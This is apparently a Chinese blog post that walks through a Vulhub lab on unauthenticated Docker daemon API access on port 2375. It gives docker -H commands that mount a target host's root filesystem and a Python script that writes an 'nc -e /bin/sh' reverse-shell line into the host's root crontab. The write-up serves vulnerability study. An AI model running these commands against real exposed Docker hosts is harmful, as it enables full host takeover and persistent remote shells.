Vulhub 漏洞学习之:Docker

Vulhub 漏洞学习之:Docker

1 docker daemon api 未授权访问漏洞

  1. 存在可以启动的容器
  2. docker 守护进程监听在0.0.0.0,外网可访问
  3. 没有使用iptable等限制可连接的来源ip。

参考链接:

1.1 漏洞利用过程

  1. 访问your-ip:2375/version验证是否搭建成功

    image-20220209155504969

  2. 远程对被攻击主机的docker容器进行操作

    # 查看目标主机的主容器
    docker -H tcp://10.5.7.211:2375 images
    
    # 远程启动被攻击主机的docker容器,并挂载宿主机的根目录
    docker -H tcp://10.5.7.211:2375 run -it -v /:/mnt imagelD /bin/bash
    
    # 可对宿主机进行远程文件操作
    cd /mnt
    
  3. 启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。

    import docker
    
    client = docker.DockerClient(base_url='http://your-ip:2375/')
    data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
    
  4. 将命令写入crontab配置文件,进行反弹shell。

posted @ 2022-02-25 11:54  f_carey  阅读(120)  评论(0编辑  收藏  举报